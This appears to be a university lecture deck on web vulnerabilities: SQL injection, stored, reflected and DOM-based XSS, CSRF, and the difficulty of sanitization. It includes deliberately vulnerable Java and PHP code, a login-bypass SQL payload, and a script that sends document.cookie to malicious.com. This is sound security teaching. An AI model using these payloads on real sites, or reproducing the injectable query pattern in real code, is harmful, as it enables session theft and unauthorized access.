More Classes of Software Vulnerabilities

Mike Reiter

Lawrence M. Stifkin Distinguished Professor
Department of Computer Science


Input Validation is Key

- We have seen examples of vulnerabilities that exploit memory management in languages like C/C++
- There are many other classes of vulnerabilities that work against other languages, even type-safe ones!
- Defeating most of them boil down to doing good input validation

SQL Injection Example

- Consider the following Java servlet

```java
String LoginAction (HttpServletRequest request, ...) throws IOException {
    String sLogin = getParam (request, "Login");
    String sPassword = getParam (request, "Password");
    java.sql.ResultSet rs = null;
    String qry = "select member_id, member_level from members where " + sLogin + " and member_password = " + sPassword + "";
    java.sql.ResultSet rs = stat.executeQuery (qry);
    if (rs.next()) { // Login and password passed
        session.setAttribute("UserID", rs.getString(1));
        ...
    }
}
```
SQL Injection Example

- If “Login” parameter is “guest” and “Password” parameter is “secret”, then \textit{qry} becomes ...

```sql
select member_id, member_level
from members where
member_login = 'guest' and
member_password = 'secret'
```

SQL Injection Example

- If “Login” parameter is “’ or 1=1 --” and “Password” parameter is “”, then \textit{qry} becomes ...

```sql
select member_id, member_level
from members where
member_login = ’’ or 1=1
-- and member_password = ’’
```

- “1=1” is a tautology
- “--” begins a comment

Cross-Site Scripting (XSS)

- XSS vulnerabilities allow the generation of dynamic HTML contents with invalidated (and potentially malicious) inputs

- Inputs are interpreted by browsers while rendering web pages
Stored XSS

- Stored XSS attacks occur when dynamic HTML contents are generated from unsanitized information stored in persistent storage.
- For example, consider a blog site to which someone posts the “comment”
  `<script>alert('xss');</script>`
- If the server, serves this “comment” back to the next user without sanitizing it, then the user’s browser might execute the script!

---

Now suppose that the script is

```html
<script>
  document.location = 'http://malicious.com/?' + document.cookie
</script>
```

- This transfers the cookie for the current web site to malicious.com
- Depending on what the cookie is, it might allow the attacker to perform commands as the user
Reflected XSS

http://www.foo.com?fname=
<script>alert('xss');</script>
“click!”

```php
echo $_GET('fname');
echo "was not found";
```

DOM-Based XSS

- Modifies the DOM “environment” in the victim browser used by a client-side script
- For example, suppose a web site sends this Javascript script to a browser
  ```javascript
  var name =
  document.URL.indexOf("name=") + 5;
  document.write ("Hello" + name);
  ...
  
in response to a request for page.html
  ```

DOM-Based XSS

- Then, requesting
  ```
  /page.html?name=Mark
  ```
  results in
  Hello Mark
- Requesting
  ```
  /page.html#name=Mark
  ```
  does the same thing, but does not send anything after the # to the server
- Now, consider requesting
  ```
  /page.html#name=<script>alert('xss');</script>
  ```
Cross-Site Request Forgery

- Consider a page from www.foo.com to allow a user to update her email address

```html
<HTML>
<BODY>
<FORM action="editprofile.php" method="POST">
  <INPUT type="hidden" name="action" value="setemail">
  <INPUT type="text" name="email" value="">
  <INPUT type="submit" value="Change Email Address">
</FORM>
</BODY>
</HTML>
```

Cross-Site Request Forgery

- Here is a snippet from editprofile.php on the server

```php
if (!valid($SESSION['username'])) {
  echo "invalid session detected!";
  exit;
}
if ($POST['action'] == 'setemail') {
  update profile($POST['email']);
}
```

Cross-Site Request Forgery

- If the user supplies the new email address as user@xyz.com, the legitimate request becomes

```
http://www.foo.com/editprofile?
action=setemail&email=user@xyz.com
```

- Browser adds the session information (or cookie) in the request before sending to the server program
Cross-Site Request Forgery

- Now suppose the attacker tricks the user into clicking on
  
  http://www.foo.com/editprofile?action=setemail&email=attacker@evil.com

- Note that this needs to happen while the user is logged in at foo.com

Defending Against These Attacks

- **Sanitization or filtering** is the practice of encoding or eliminating dangerous constructs in untrusted data

- The most widespread approach in practice for defending against these types of attacks

- Unfortunately, proper sanitization is much, much harder than it looks

Sanitization Example

- Let’s focus on the XSS case for now

- Imagine that a web server is using this untrusted string to construct output

- "&lt;p&gt;" + "&lt;script&gt; doEvil()&lt;/script&gt;" + "&lt;/p&gt;"

  Untrusted
Sanitization Example

- Use a special function to remove “bad” content
  
  `<p>`
  ```
  sanitizeHTML(
    `<script>
    doEvil()
    doEvil()
    </script>``
  )
  `</p>`
- Are we done?

A More Complex Example

- Sanitization needs to be context specific!

Now Are We Done?

- So, suppose you now have sanitizers for tags, URLs, attributes ...

```html
<div 
    onclick="displayComment('SANITIZED_ATTRIBUTE')" 
> 
</div>
```
Now Are We Done?

- Browser entity-decodes the `&quot;` entity names into characters (`"`)
  - Changes how this data will appear in the JavaScript
- Multiple contexts are now relevant

Sanitization is Hard

- Take-away message is the sanitization is very, very difficult to get completely right
  - These examples are just the tip of the iceberg
- No fully satisfactory auto-sanitization tool (see your reading)
  - But still better than going it alone!
- Other useful resources on the web, such as the OWASP site (https://www.owasp.org)